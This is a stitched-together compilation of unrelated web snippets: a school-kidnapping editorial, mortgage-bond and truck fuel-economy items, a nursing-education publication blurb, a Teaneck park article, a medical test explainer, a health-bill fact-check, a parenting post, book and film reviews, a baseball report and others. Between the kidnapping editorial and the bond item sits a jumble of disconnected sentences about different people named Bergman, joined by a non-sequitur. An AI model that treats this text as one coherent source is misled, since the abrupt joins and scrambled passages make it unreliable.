There was a recent story that should have sent a little bit of anxiety through all the parents in Levy County.
The attempted kidnapping of two young boys from Joyce Bullock Elementary School in Williston recently points out how vulnerable our children can be. Joyce Bullock has fences around it, but it is a huge campus and it's impossible for the faculty to keep an eye on all children once school is dismissed.
Ultimately, the safety of children is a parent's responsibility, but all of us have trusted our children to the schools at one time or another.

On the other hand, the classic Bergman movie, The Seventh Seal, has already addressed this one.
When Bergman watched the telecast from the bathtub of her Parisian hotel room, she allegedly sobbed.
So I called Bergman and said, "Do you mind if I despoil your script?"
The affair caused a huge scandal stateside, with the bulk of the vitriol directed at Bergman.
He says, simply, "Sometimes I need to take a break from the Fellini and the Bergman."
He had not been aware that Bergman ever went home by that route.
"You gum to mine blace and bay me to-morrow, Mr. Morley," said Bergman.
Bergman extended its use, and after him Ghan and the venerable Berzelius .
It is said of Bergman, that he considered the greatest of his discoveries to have been the discovery of Scheele.
Well might Bergman express astonishment at the action of carbon on iron.

Risk Seen in Some Mortgage Bonds
After a surge in bonds backed by mortgages on commercial properties, some investors are finding cracks in the foundations.
Investors piled into these bonds, which are made up of pools of loans linked to properties such as shopping malls and hotels, because of the relatively high yields they offered.
But that demand has sent prices...

YOU SEE THEM on every street and highway. Big trucks have aerodynamic fairings and tails, wide single tires, and rounded shapes. Today, with fuel around $4 a gallon, miles per gallon is king. And it's not just important for over-the-road vehicles. It impacts us all. Just think of how rising fuel costs have affected your bottom line.
Concrete producers cannot do many things long-haul truckers do. Aerodynamics has little effect on trucks operating less than 50 mph for most of their duty cycle. But that doesn't prevent us from doing other things to cut fuel costs. Each by itself may not seem significant, but together, they can lower fuel costs up to 20 percent.
The energy consumed by your trucks comes from just one place: the fuel you burn in your engine. Anything that lessens that energy demand saves you fuel. For example, if a bearing seal for the mixer drum starts to go bad and allows contaminants to get into the bearings, it will put a drag on the bearing. More power will be needed to turn the barrel. The added power requirement results in more burned fuel in addition to increased maintenance.
For years, truckers used dual tires under their loads to increase carrying capacity. Off-road tires often had deep lug tread patterns and very hard tread rubber for traction and resistance to damage. The downside was that these tires need a great deal of energy to overcome their inherent stiffness.
Using two tires instead of one requires twice the energy to flex the side-walls. Major tire manufacturers now offer wide-base single tires engineered for vocational and on-off highway use. They can save 3 percent to 4 percent fuel use. Changing from deep lug to shallow lug tires can save another 2 percent.
Engine lubricants have been improved, especially synthetic oils made from polyalphaolefin base stocks. For years, 15W-40 was the standard viscosity for commercial diesel engines, but 10W-30 synthetic oils can stand up to the rigors of heavy-duty work cycles. Thinner oils cut internal engine drag and save about 1.5 percent in fuel.
Using synthetics in the gear box and drive axles can save another 1 percent. Amsoil, the pioneer in synthetic oils, offers a heavy-duty, full synthetic 5W-40. The company claims that in SAE/TMC tests conducted against conventional 15W-40, fuel savings totaled 8.2 percent. Running the engine fan consumes 50 to 60 horsepower.
Running waterless coolant and adjusting the fan-on temperature can save up to 3 percent fuel usage in over-the-road trucks. With stop-and-go operations and using power take-offs, that could be more or less for producers.
Driver performance
According to the Technology and Maintenance Council's Recommended Practice RP1114, Driver's Effect on Fuel Economy, "Driver performance can account for as much as a 35 percent difference in fuel economy performance." Variables include horsepower demand, vehicle speed, and brake use. Horsepower demand is directly related to acceleration rates. The quicker a driver accelerates, the more fuel he burns.
Braking also affects fuel consumption. Every time the brakes are applied, kinetic energy is converted to heat. The heat in the brakes is then dissipated to the air from the brake drums. The heat or kinetic energy is created from the engine burning fuel. Dissipate the heat and you're wasting fuel.
Drivers who can look to the next traffic light and time their approach, coast to stop signs, and ease up near the top of a hill so they can use gravity on the downhill side rather than slowing with the brakes use the least amount of fuel. These techniques account for up to 35 percent difference between the best and worst drivers.
Not long ago, engines had relatively narrow power bands, sometimes as little as 14 percent of total available engine revolutions (from 1800 to 2100 rpm). Today, engines run much slower, with peak torque as low as 1000 to 1100 rpm and peak horsepower at 1800 rpm. Modern engines can be driven across 45 percent of the rpm range, so shifting can occur at lower engine speeds.

The Essentials of Baccalaureate Education
for Professional Nursing Practice
The 2008 publication that defines the essential elements of baccalaureate education for professional nursing practice is now available from AACN. The Essentials of Baccalaureate Education for Professional Nursing Practice provides an important framework for designing and assessing baccalaureate education programs for professional nursing practice. This publication is the result of a consensus-building process that included nursing educators, clinicians, executives, and researchers, as well as numerous nursing organizations.
In the Baccalaureate Essentials, you will find…
- The role of the baccalaureate-prepared nurse
- Professional values for baccalaureate nursing education
- An outline of essential curriculum contents
- Baccalaureate core competencies and knowledge
- Suggested teaching strategies
…And much more!

Additional Baccalaureate Essentials Tool Kit Materials
The purpose of the Baccalaureate Essentials Tool Kit is to provide resources and exemplars to assist faculty with the implementation of the Essentials of Baccalaureate Education for Professional Nursing Practice (2008). The tool kit provides integrative learning strategies, opportunities for program enhancement, and resources that will assist faculty with the integration of the Baccalaureate Essentials throughout the nursing curriculum. This tool kit includes a review of the nine Baccalaureate Essentials followed by Integrative Learning Strategies, Opportunities for Program Enhancement, Web Links, AACN Presentations, and References.
How to Order
Copies of The Essentials of Baccalaureate Education for Professional Nursing Practice are available for $12 each (AACN members), $15 (nonmembers), plus shipping. Bulk rates are also available - please inquire at firstname.lastname@example.com. Copies of the Faculty Tool Kit is available for $5 each. To order, visit www.aacn.nche.edu/publications/order-publications.
First released by AACN in 1986 and then revised in 1998 and 2008, The Essentials of Baccalaureate Education for Professional Nursing Practice is a comprehensive set of core standards for baccalaureate-degree nursing education programs. This publication, which provides a central framework for designing baccalaureate nursing programs, was the first national effort to define the fundamental knowledge, values, and professional behaviors expected of the bachelor's-degree nursing graduate.
Endorsed by AACN member institutions in October 2008, the latest version of the Essentials applies to all types of baccalaureate programs that prepare professional generalist nurses, including RN to Baccalaureate degree completion, accelerated second-degree, and traditional programs. Program curricula are designed to prepare students to meet the end-of program outcomes. Additionally these guidelines assist faculty to evaluate graduates who are expected to achieve these essential outcomes. The Baccalaureate Essentials details standards for preparing bachelor's-degree nurses to assume roles as care providers; as designers, managers, and coordinators of care; and as members of a profession. Within these roles, the document provides specific standards for educational components that are essential for all baccalaureate nursing programs, including liberal education, professional values, core knowledge, and role development.
In the document, each of the nine Essentials is operationalized through the program's curriculum and is not intended to represent a course. Each Essential is followed by a rationale explaining its relevance for the education of the professional. The rationale for an Essential is followed by outcomes that delineate the knowledge, skills, and attitudes expected of new baccalaureate generalist graduates. These outcomes serve as a guide to help faculty identify program and course objectives that are specific and measurable. Next, sample content is listed to aid faculty in selecting material suited to achieving the specific Essential. The list of content is not inclusive, nor is it intended as required. A vast selection of content is available for each Essential, and the specific baccalaureate program's curriculum will specify the content as appropriate to their mission, community served, and student population. The Essential outcomes can be obtained through a variety of content approaches, and potential content can and will evolve over time as new knowledge develops. The sample content is offered as a guide to new programs or to further elucidate the nature of the Essential with which the content is listed.

Wildlife abounds in historic Teaneck park
By Howard Prosnitzs, Staff Writer
Teaneck Suburbanite, January 23, 2008, p. 2
Looking down the slope that divides upper and lower Brett Park, a visitor will observe a series of earthen mounds extending about 100 yards horizontally and gradually veering west to the Hackensack River.
The mounds appear to be man made and are of unknown origin. But New Bridge Road resident Mike Trepicchio believes that they may be the remnants of British earthen fortifications from the Revolutionary War.
The land that today is Brett Park was a battlefield during the American Revolution. Trepicchio, a member of the New Bridge Landing Historical Commission, notes that the British had earthen fortifications directly opposite Brett Park at Cherry Hill in River Edge.
In Colonial America, there would have been a direct line of sight between the two sets of fortifications.
"The view would have given give the British an excellent perspective over the whole Valley," and Trepicchio, who concedes that only an archeological dig could determine the origin of the mounds.
Its sanguinary past norwithstanding, Brett Park today is home to an abundance of wildlife. Foxes and deer roam the lower park. Waterfowl such as cornorants osprey falcons and hawks fish the Hackensack River. Mallards, wood ducks and merganser winter on the cove of the river that juts into the park.
More than 100 separate species of trees, shrubs, vines, herbs and grasses were identified on a single August day in 2000 in a botanical survey by the Torrey Botanical Society.
Although foxfoles are visible in various locations in the lower park, the best chance of seeing a red fox is at dawn or dusk.
"These are the times that the foxes are visible, although they are out all night," said Trepicchio.
"Animals are opportunists," he explained. "A fox will find a gopher or a groundhog hole and expand it to make it its lair."
Deer are becoming increasingly common throughout northern New Jersey.
Pomander Walk resident Dee Anne Ipp recalls spotting a deer one night in the Riverside Mall parking lot. Northwest Teaneck has an abundance of wooded areas that provide habitat for deer, said Trepicchio. These include Brett Park, the Matthew Feldman preserve on River Road, and across the Hackensack River, the grounds of the Van Stueban House and Riverside County Park.
Trepicchio recalls walking in lower Brett Park on recent morning and encountering five deer.
"I was walking south and they were going north," said Trepicchio. "There were a lead deer and four deer following. I stopped and watched. I realized that I was on their trail and they weren't going to move, so I walked passed them further and went further down the trail and they continued on their way."
It is not uncommon to see deer grazing in the upper park on summer evening, he said.
Despite the grass and vegetation that cover the park, Trepicchio notes that underneath the soil are sand dunes similar to those at Cape Cod. The park itself sits on the sandy shore of prehistoric glacial Lake Hackensack.
"The lake was a remnant from the glaciers and originally had a much large water supply," Trepicchio said. "As the lade drained, it left the estuaries that became the meadowlands and different inlets."
Even today, he noted, after heavy rainfall, Old New Bridge Road and Riverview Avenue are often coated with sand washed up from the sub-surface dunes.
For many years, the banks along the Hackensack River were considered a wasteland, and for that reason the DPW yard was located there, Trepicchio said.
"They looked at the riversaide as a place to bury debris, and that is why the land degenerated to where it is today. There was an amazing estuary here with abundant wildlife, plants, mussels, oysters and millions of fish. It was a natural wonderland that generations have polluted and killed."
The Hackensack River and the meadowlands are the upper reaches of the New York harbor, he explained.
"If you look at early maps, you see the finger of the Hackensack River goes inland right off the ocean," he saidn. "The river is the ebb and flow of the Atlantic Ocean, and the what is left of the meadowlands is the remnant of the great estuary. The Dutch and everybody else thought they could control the meadowlands. They've drained it, damned it, and produced dykes and culverts, but they could never tame it. And people still think today they can fix the flooding but they don't realize it is the Atlantic Ocean."

Pleural fluid analysis
Pleural fluid analysis examines fluid that has collected in the pleural space -- the small area outside of the lungs but inside the chest cavity.
See also: Pleural effusion
How the Test is Performed
A procedure called thoracentesis is used to get a sample of pleural fluid. The health care provider examines the sample to look for:
- Cancerous (malignant) cells
- Cellular makeup
- Chemical content
- Tiny organisms that can cause disease (microorganisms)
How to Prepare for the Test
The test is no more invasive than having blood drawn. There is no special preparation. Do not cough, breathe deeply, or move during the test to avoid injury to the lung.
You may have a chest x-ray before or after the test. Tell your doctor if you take medicines to thin the blood.
How the Test Will Feel
You will sit on the edge of a chair or bed with your head and arms resting on a table. The health care provider will clean the skin around the insertion site and drape the area. A local pain-killing medicine (anesthetic) is injected into the skin, which stings a bit, but only for a few seconds.
The thoracentesis needle is inserted above the rib into the pocket of fluid. As fluid drains into a collection bottle, many people cough a bit as the lung reexpands to fill the space where fluid had been. This sensation normally lasts for a few hours after the test is completed. Tell your health care provider if you have sharp chest pain or shortness of breath.
Why the Test is Performed
The test is performed to determine the cause of a pleural effusion, and to relieve the shortness of breath that a large pleural effusion can cause.
Normal Results
Normally the pleural cavity contains less than 20 milliliters (4 teaspoons) of clear, yellowish (serous) fluid.
Normal value ranges may vary slightly among different laboratories. Talk to your doctor about the meaning of your specific test results.
What Abnormal Results Mean
Abnormal results may indicate possible causes of pleural effusion, such as:
- Cancer (neoplasm)
- Cirrhosis
- Heart failure
- Infection
If the health care provider suspects an infection, a culture of the fluid is done to check for bacteria.
The test may also be performed for hemothorax, a collection of blood in the pleura.
The risks of thoracentesis are:
- Collapse of the lung (pneumothorax)
- Excessive loss of blood
- Fluid re-accumulation
- Infection
- Pulmonary edema
- Respiratory distress
Serious complications are uncommon.

Drudge, WND distort health care bill to fearmonger about cost of insurance, possibility of jail time
Matt Drudge and WorldNetDaily.com both falsely asserted that, in Drudge's words, the House health care reform bill states that people must "buy a $15,000 policy or go to jail." In fact, as stated by the Joint Committee on Taxation letter on which Drudge's and WND's claims are based, the bill does not impose criminal penalties on people merely for failing to purchase health insurance; rather, people who do not buy health insurance and also willfully refuse to pay the tax imposed on them for such actions can face civil or criminal penalties.
Drudge, WND falsely claim bill requires people to buy insurance or go to jail
Drudge: "PELOSI: Buy a $15,000 Policy or Go to Jail; Failure to Comply, 5 Years in Prison." From the Drudge Report [1] (click on image to enlarge):
WND: "Confirmed: Buy insurance or go to jail." WorldNetDaily.com headlined a November 6 article by Bob Unruh "Confirmed: Buy insurance or go to jail." The subheadline read, "'This is ultimate example of Dems command-and-control government.' " Unruh's first paragraph read: "A Michigan congressman has released a report from the non-partisan Joint Committee on Taxation confirming that the House Democrats' health-care bill could impose penalties of up to $250,000 in fines and five years in jail for failing to buy the proper insurance coverage." [11/6/09 [3]]
Claim that people will go to jail for failure to buy insurance is false
Contradicting headline, lead sentence, Unruh himself notes that criminal penalty is for those who fail to pay tax, not those who fail to buy insurance. The eighth paragraph of Unruh's article states: "According to [Rep. Dave] Camp [R-MI], the JCT letter makes clear that Americans who do not maintain 'acceptable health insurance coverage' and who choose not to pay the bill's new individual mandate tax 'are subject to numerous civil and criminal penalties, including criminals fines of up to $250,000 and imprisonment of up to five years' " [emphasis added].
Penalty for failure to purchase insurance is a tax, not jail time. Indeed, as Unruh acknowledged in his eighth paragraph, Section 501 of the bill provides [4] that an individual must be "covered by acceptable coverage at all times." "Acceptable coverage" includes "qualified health benefits plan coverage," "grandfathered health insurance coverage," "Medicare," "Medicaid," coverage provided to members of the armed forces and their dependants, "coverage under the veteran's health care program," people who receive health care "through the Indian Health Service," or other coverage deemed acceptable by the Secretary of Health and Human Services. If a person does not have acceptable health care coverage, Section 501 imposes [5] a tax on that person "not to exceed the applicable national average premium":
(a) TAX IMPOSED.-In the case of any individual who does not meet the requirements of subsection (d) at any time during the taxable year, there is hereby imposed a tax equal to 2.5 percent of the excess of-
(1) the taxpayer's modified adjusted gross income for the taxable year, over
(2) the amount of gross income specified in section 6012(a)(1) with respect to the taxpayer.
(b) LIMITATIONS.-
(A) IN GENERAL.-The tax imposed under subsection (a) with respect to any taxpayer for any taxable year shall not exceed the applicable national average premium for such taxable year.
Bill does not impose tax on those below the threshold for filing a federal income tax return. The Joint Committee on Taxation states [6]: "The additional tax does not apply ... if the person's income is below the threshold for filing a Federal income tax return." Indeed, Section 501 of the bill imposes taxes on "the excess of ... the taxpayer's modified adjusted gross income for the taxable year over ... the amount of gross income specified in section 6012(a)(1)" of the Internal Revenue Code. Section 6012(a)(1) [7] of the Internal Revenue Code provides that "a return is not required of an individual [who] ... has gross income of less than the sum of the exemption amount plus the basic standard deduction applicable to such an individual."
"Hardship cases" are exempted from the tax. From Section 501(f):
(f) REGULATIONS.-The Secretary shall prescribe such regulations or other guidance as may be necessary or appropriate to carry out the purposes of this section, including regulations or other guidance (developed in coordination with the Health Choices Commissioner) which provide-
(2) a waiver of the application of subsection (a) in cases of hardship, including a process for applying for such a waiver.
Willful failure to pay taxes of any sort can result in civil or criminal penalties. Drudge links to and Unruh quotes from a press release [8] by Rep. Dave Camp (R-MI) that in turn relies on a letter from the Joint Committee on Taxation. That section of the letter dealing with "civil and criminal penalties for noncompliance specifies that Camp asked the committee to "discuss the situation in which the taxpayer has chosen not to comply with individual mandate and not to pay the additional tax." Thus, the letter is not discussing the penalties for failure to buy insurance, but the penalties for both failing to buy insurance and failing to pay the tax. The committee's letter explains that the tax code provides penalties to prevent tax evasion of any sort: "The Code provides for both civil and criminal penalties to ensure complete and accurate reporting of tax liability and to discourage fraudulent attempts to defeat or evade tax." [Joint Committee on Taxation letter, 11/5/09 [6]]
Fewer than 100 people convicted for "willful failure to file or pay taxes" in fiscal year 2008. From the Joint Committee on Taxation letter: "Of the 666 convictions reported above for fiscal year 2008, fewer than 100 were convictions for willful failure to file or pay taxes under section 7203." [Joint Committee on Taxation letter, 11/5/09 [9]]
Most delinquent taxes and penalties "collected through the civil process." The Joint Committee on Taxation letter states:
The majority of delinquent taxes and penalties are collected through the civil process. In determining whether a penalty applies along with an adjustment to a tax return, the examining agent is constrained not only by the applicable statutory provision, but also by the written policy of the IRS not to treat penalties as bargaining points but instead to develop the facts sufficiently to support the decision to assert or not to assert a penalty. [Joint Committee on Taxation letter, 11/5/09 [10]]
Drudge, WND falsehood echo one made about Senate version of bill
Kudlow distorts health insurance mandate to claim violators "face a $25,000 fine, or imprisonment, or both." On his CNBC show, Larry Kudlow distorted a provision in the health care reform bill proposed by Sen. Max Baucus (D-MT) to claim that "if an individual opts out of this insurance plan ... apparently they face a $25,000 fine, or imprisonment, or both." In fact, the bill would levy a $1,900 "excise tax" on those who don't purchase health insurance; those who refuse to pay the tax could face a fine or prison sentence, as the Wall Street Journal editorial Kudlow cited as the source of his claim clearly stated. [9/29/09 [11]]
Drudge's suggestion that all people must spend $15,000 on insurance is false
Individual insurance costs $5,300; family insurance costs $15,000. The CBO analysis to which Camp links states "Although premiums under H.R. 3962 would vary by geographic area to reflect differences in average spending for health care and would also vary by age, the table shows the approximate national average for that lower-cost reference plan-about $5,300 for single policies and about $15,000 for family policies in 2016." Thus, not everyone will have to "buy a $15,000 policy" as Drudge claims.
Subsidies available for lower-income people. Subtitle C of the House bill makes "affordability credits [12]" available to lower income individuals to help pay for health insurance. As the House tri-committee summary of the bill explains:
Sec. 341. Availability through Health Insurance Exchange. Creates affordability credits to ensure that people with incomes up to 400% of federal poverty have affordable health coverage. These credits are phased out according to a schedule defined in the act as individual and family incomes up to 400% of poverty and the credits apply only to Exchange-participating plans. Affordability credits reduce the costs of both premium and annual out-of-pocket spending. Individuals apply through the Commissioner or Health Insurance Exchange for the credits, or through other entities approved by the Commissioner. The Commissioner, through an agreement with the Commissioner of Social Security, must conduct a verification process to confirm citizenship or lawful presence in the United States before any individual is eligible for affordability credits. In the first two years, affordability credits can only be used to purchase a basic plan. After that, the Commissioner establishes a process to allow them to be used for enhanced and premium plans in a way that makes clear the individuals who select those options will be responsible for any difference in costs. [House tri-committee summary, 11/2/09 [13]]
Bill expands Medicaid eligibility. Section 1701 of the bill expands Medicaid eligibility [14] to those with income below 150 percent of the federal poverty level. From the House tri-committee summary:
Sec. 1701. Eligibility for individuals with income below 150 percent of the Federal poverty level.
(a) Requires State Medicaid programs to cover non-disabled, childless adults under age 65 not eligible for Medicare with incomes at or below 150% of FPL ($16,200 per year for an individual). The federal government would pay 100% of the costs of Medicaid coverage for this population in 2013 and 2014, then 91% in 2015 and beyond.
(b) Requires State Medicaid programs to cover children, parents, and individuals with disabilities under age 65 with income at or below 150% of FPL ($33,100 per year for a family of 4). For individuals in these categories with incomes between the levels in effect in the state as of June 16, 2009 and 150% of FPL, the federal government would pay 100% of the costs of Medicaid coverage in 2013 and 2014 and 91% in 2015 and beyond.
(c) Requires State Medicaid programs to cover newborns up to the first 60 days of life who do not otherwise have coverage upon birth. The federal government would pay 100% of the costs of Medicaid coverage for these newborns. [House tri-committee summary, 11/2/09 [15]]

How to let my 2 years and 10 month old girl eat her meal?
Hi to all mums!
Good day!
I got a problem letting my daughter eat her meal. She will be turning 3 years old this coming June. Please let me know how to let her be interested in taking her meal. She just doesn't want to eat and it's really hard for me, not even to take her milk. I am afraid she might not get proper nutrition.
I will be glad to hear from all you, please help me.

How old is your daughter?
What sort of things does she consume during the day?
If she is almost 3 years old, that is a picky eater stage and ive found that when my kids were that age they wanted "white" foods...such as white rice, pasta, crackers, bread, bananas. All white foods.
Another idea is to offer small bowls of lots of different foods, sit the bowls out on the table or her play area and allow her to get her own food when she is ready.
Also invite her to the table when you prepare a meal for the family. She may chose to partake or she may not. Continue to offer till you find out exactly what she likes and take it from their.
She will eat as her body tells her to.

Reggiecide (Reeves & Worcester Steampunk Mysteries) (original 2012; edition 2012)
by Chris Dolley
Work details
Reggiecide by Chris Dolley (2012)
No current Talk conversations about this book.
But Wodehouse when he is good is effortless and casual - tossing off outrageous plots and comical characters like he's telling you a good one over a pint at the pub.
So Reggiecide tries to take Bertie and Jeeves into a steampunk England and the book tries hard. But we see the author working like a horse on every page and the charm and humor - disapates.
It's basically a long short story with too much on its mind - Mysteries, reviving the dead, the Gunpowder Plot, women's suffrage, and God know what else. Someone told the author that all you had to do was give a character a funny name and you don't have to power giving him or her a personality. So the book is strewn with Ffolkes and Ffarquars and people like Lady Penelope Hyphen-Hyphen-Jones. It's exhausting.
The author tries to recreate the giddy dialogue between Jeeves and Bertie, and sometimes it clicks. But mostly it doesn't.
Promising series hits the sophomore slump. Be curious to see what the author comes up with next
Reading Level: all ages (if able to read it)
Recommended for: people who enjoy steampunk stories, fans of Wodehouse's Jeeves novels, who like to laugh
My Thoughts: This is the sequel to What Ho, Automaton! (review linked here where formatting allowed), and a parody of the Wodehouse Jeeves books, set in a steampunk version of Victorian England (right after the turn of the 20th century; they are set in 1903).
Again, this was a very funny novella. It was a fast read, and like the first, full of all kinds of wonderful nonsense. The first book featured mostly automata, and only a few Prometheans (creatures sewn together of various parts and reanimated a la Frankenstein); in this book we mostly see Prometheans, with Reeves being the only automaton featured. I'm not certain if there will be any more of these, but if there are I'll be sure to search them out. Dolley has a dry absurdist sense of humor I find very appealing, and I will most likely be picking up more of his books if I am able. I have two more of his books available to me right now, which I plan to read over the weekend, so watch for those reviews coming up.
Disclosure: I received a copy of this book through the LibraryThing Early Reviewer's program in exchange for an honest review. All opinions are my own.
Synopsis: Guy Fawkes is back and this time it's a toss up who's going to be blown up first—Parliament or Reginald Worcester, gentleman consulting detective.
But Guy might not be the only regicide to have been dug up and reanimated. He might be a mere pawn in a plan of diabolical twistiness.
Only a detective with a rare brain—and Reggie's is amongst the rarest—could possibly solve this 'five-cocktail problem.' With the aid of Reeves, his automaton valet, Emmeline, his suffragette fiancée, and Farquharson, a reconstituted dog with an issue with Anglicans, Reggie sets out to save both Queen Victoria and the Empire.

Ports' Kirby-Jones hits three homers
A's first base prospect drives in five runs on career night
By Ashley Marshall / Special to MLB.com | April 18, 2012 9:59 PM ET
With a clean bill of health and more confidence than ever, he's eager to continue his rise through the organization.
Kirby-Jones became the first Minor Leaguer this season to smack three homers in a game as he powered the Stockton Ports to an 8-0 victory over the visiting Lake Elsinore Storm on Wednesday.
"It felt good. The only other time in my career that I had three home runs was in college," said Kirby-Jones, a ninth-round pick in the 2010 Draft. "I had a great night tonight and I wasn't trying to do too much.
"I was just trying to stick to my approach and follow my game plan. I wanted to put myself in good hitter's counts and square the ball up."
The 23-year-old first baseman sent an 0-1 fastball from Storm starter Burch Smith over the right-field fence in the first inning, then connected for a two-run blast off Yefri Carvajal in the seventh.
Kirby-Jones knew he'd need at least one of the three hitters in front of him to reach base in the ninth to get a chance at a third homer. But he said he tried to take everything in stride.
"You never try to go up there and try to hit a home run. I was due up fourth, but I knew I had a chance to bat again because we have a good lineup and everyone was swinging the bat well," he said.
"[A third homer] was on my mind, but it had the opposite effect. I told myself not to get too big and to just try and put a good swing on it. If anything, my effort was lower because I didn't want to press too hard and roll over on it."
Dennis O'Grady fell behind Kirby-Jones, 2-1. Facing another hitter's count, the Tennessee Tech product had a pretty good idea he'd get a pitch to hit.
"It was a pitch up," he said. "He challenged me with the fastball and I tip my hat to him for that. It was a mistake pitch and I got around on it. I was just trying to look for my pitch."
Last season, Kirby-Jones played only two games before missing a month with a bone bruise inside his left knee. When he returned to the lineup for Class A Burlington, he said was too eager to make up for lost time. Pressing at the plate, he slumped and found himself batting .194 into the second week of June.
"I definitely learned a lot from last year's injury," Kirby-Jones said. "It taught me a lot about my swing and reminded me that I had to be patient, and I have to be myself to be successful.
"In college, I had a really big and violent load. I had more of a leg kick and I was really jumpy. After the injury, I became quieter. And that's why I'm seeing the ball better."
Kirby-Jones, who smacked 14 homers for short-season Vancouver in 2010 and 13 more for the Bees last year, is batting .385 with four homers and nine RBIs in 11 games.
On Wednesday, his production made a winner of Blake Treinen (2-0), who allowed two hits and issued three walks while striking out seven over seven innings. Connor Hoehn worked around a pair of walks in the eighth and Zach Thornton fanned two in a perfect ninth.

All products will become customisable
"Big brands will integrate 3D printing into their offering, because it enables them to create a very unique experience for the customer. Take the iPad, for example. The electronics will be manufactured the regular way – but some parts of the object will be 3D printed – for example, the cover, the casing – and can be offered with a lot of diversity."
Michael Weinberg: Vice President of the Institute for Emerging Innovation at Public Knowledge
3D printing will create new ways of distributing products
"Industries will no longer be able to conduct business as usual. They can spend a lot of time and money fighting that change and trying to regulate it out of existence, or they spend the same amount of time and money figuring out how to embrace and make use of that change. I hope that when faced with this opportunity these industries learn something from the hard lessons that the music and movie industries have learned and really try to embrace this change."

3D printers will teach kids to make their own toys
"It's about introducing kids to design, and about empowering them to express their creativity. I believe that every kid is creative, they just need to have a tool which allows them to express themselves, and that's exactly what I'm aiming to do with 3D printing."
Limor Schweitzer: Founder, RoboSavvy
3D printing will let you make your own spare parts
"At the moment, 3D printing is really about creativity. In the future, it'll be printing replacements for broken parts. The missing link is I know nothing about mechanical engineering. Soon, I'll be able to take my phone, I take a picture of the part, and my phone will tell me, "Oh, that's part CB2792, you can source it from here, it costs £7 – or you can 3D print it, and here is the 3D model, which costs 20p to license for a single unit."

he 1930 Lincoln Brougham, designed by the Brunn and Co. of Buffalo, N.Y., had everything a passenger of the "chauffeured class" of the post-Gilded Age could possibly ask for when it came to an all-around vehicle. Brunn called the car an All Weather Brougham because of the configuration of the two retractable tops that allowed the passengers to be in the sun while the driver could remain in the shade.
The passenger compartment's roof could even be folded back while a mixed middle section remained in place if the forward-seated passengers wanted to see the sky while the rear-seated passengers in the "jump seats" remained under the cover. The car's design also shows the evolution of the Lincoln Motor Co., which was founded in 1917 by Henry Leland to produce Liberty engines during World War I. Leland founded Cadillac and sold the company to General Motors in 1909. After the war was over, he decided to re-enter the luxury car market with a new car, the Lincoln.
His first production model, the Model L, was produced from 1921 to 1930. It was a V-8 machine that overpowered the Cadillac. Costing up to $6,600 each, it was also a car reserved specifically for the well to do, although sales were disappointing because it lacked the fashionable stylings other car makers were offering.
Leland sold the line to car giant Henry Ford in 1922, which marked a turning point of the now iconic line. Lincoln was refined through the styling ideas of Edsel Ford, who crafted an elegant look that would soon make Lincoln one of the premier motor cars in the world. The 1930 model is seen as the top of that peak during the golden age of car making. The Lincoln Brougham town car offered a 90 horsepower, V-8 engine that was controlled through a three-speed transmission.

By Roger Moore McClatchy-Tribune News Service
Forget blowing the images up to Imax size and converting the lunging velociraptors and T. Rexes into 3-D. The best reason to revive "Jurassic Park" for its 20th anniversary is Jeff Goldblum.
Yes, children, there was a time when Goldblum was sci-fi's "ultimate explainer," as producer Dean Devlin labeled him in "Independence Day."
Goldblum's bug eyes said "scientist-smart," and his mannered, considered and hesitating line-readings reinforce that. His very presence in movies from "The Fly" onward screamed "complicated science, made understandable and plausible."
As "chaos theory" expert Dr. Ian Malcolm, Goldblum is the "Jurassic Park" skeptic in a cluster of greedy entrepreneurs and spellbound paleontologists (Laura Dern and Sam Neill).
Goldblum, as Malcolm, has all the "What if things go wrong?" questions. And when they do, he utters this line, in that distinct, silky Goldblum purr:
"Boy, do I hate being right all the time!"
"Jurassic Park," adapted from Michael Critchton's conceptually brilliant novel, is a horror movie wrapped in the trappings of early '90s speculative science.What a great time for a scary movie about a tycoon (Richard Attenborough) whose efforts have led to the breakthroughs that enable him and his backers to open an island theme park where dinosaurs have been back-engineered back to life.
Not that they should have been. Things, as Dr. Malcolm predicts, will go wrong. Storms happen, cages fail, "sterile" dinosaurs turn out not to be. And people, who never walked the Earth at the same time as these beasts, are now the main item on the menu. Chaos theory incarnate.
Steven Spielberg's film captures the terror in thunderous approaching footsteps that could only belong to something bigger than King Kong, in breathy sniffs from a nose as powerful as an air compressor.
The dinosaurs, impressive in their animated actions and leathery digital texture in '93, haven't lost much of their moist, tactile menace over the decades.
"Jurassic Park 3D" (3 stars)
The 1993 Spielberg movie based on the Michael Crichton novel and set on an adventure island has children in peril, terror-inspiring effects and frightening "monsters." The 3-D effects are excellent with the still-menacing creatures. With Sam Neill, Laura Dern, Jeff Goldblum and Richard Attenborough.
Rated: PG-13 for science-fiction terror.
Showing: Alderwood 7, Everett, Galaxy Monroe, Marysville, Meridian, Sundance, Woodinville, Cascade Mall.

USC geographers swamped in climate research
By Peggy Binette, mailbox.sc.edu, 803-777-5400
Under one of the highest natural tree canopies in the world, University of South Carolina geographer Dr. John Kupfer can be found checking the vital signs of the floodplain that is the Congaree National Park.
For six years, Kupfer, a specialist in biogeography and landscape ecology in USC's College of Arts and Sciences, has conducted research in the park, taking students several months each year to check flood levels, rates of sedimentation and the health of plant species along the 27,000-acre tract of old-growth bottomland forest that is situated outside Columbia.
More recently Kupfer has turned his attention to studying the effects of climate change at the park, which is the largest remaining old-growth floodplain forest remaining in North America. The project is one of about a dozen around the country being funded by the National Park Service to look at the impact of climate change at the nation's parks.
Working with fellow USC geographers Dr. Greg Carbone and doctoral candidate Kimberly Meitzen, biologist Dr. Dan Tufford and a team of graduate students, Kupfer is creating computer simulation models that project how changes in temperature and precipitation and dam operations for water release will impact river flow, flooding, vegetation and wildlife over the next 50 to 100 years.
"Rivers respond to changes in precipitation and temperature," Kupfer said. "Those changes alter the level and spread of water into the floodplain, cause environmental change to the habitat of key forest species. It is critical to understand this entire sequence of change." In the case of the Congaree, the release of water from the Parr Shoals Dam on the Broad River and Saluda Dam on the Saluda River also impacts the river flow, to a lesser extent.
Kupfer said the Congaree National Park is a compelling place to understand floodplains and river-based systems.

First Person
The Jewish VicarBy Jon Canter
An old Jewish man is hit by a car. As he lies in the road, dazed and bleeding, a woman rushes over, takes off her jacket, folds it, and puts it under his head.
"Are you comfortable?" she asks.
"Meh. I make a living."
I was eight when my father told me this joke. I wasn't sure I understood it. Jews worried more about making a living than being run over. Was that it? One thing I was sure of was that the road was in Golders Green, in northwest London, where I grew up and was bar mitzvahed.
Golders Green made me. Jews made me, with their jokes and their food and their pride and their warmth and their anxiety and their love of scholarship. I cannot be unmade, even though I haven't been inside a synagogue since my bar mitzvah.
How far can you go from Golders Green and still be Jewish?

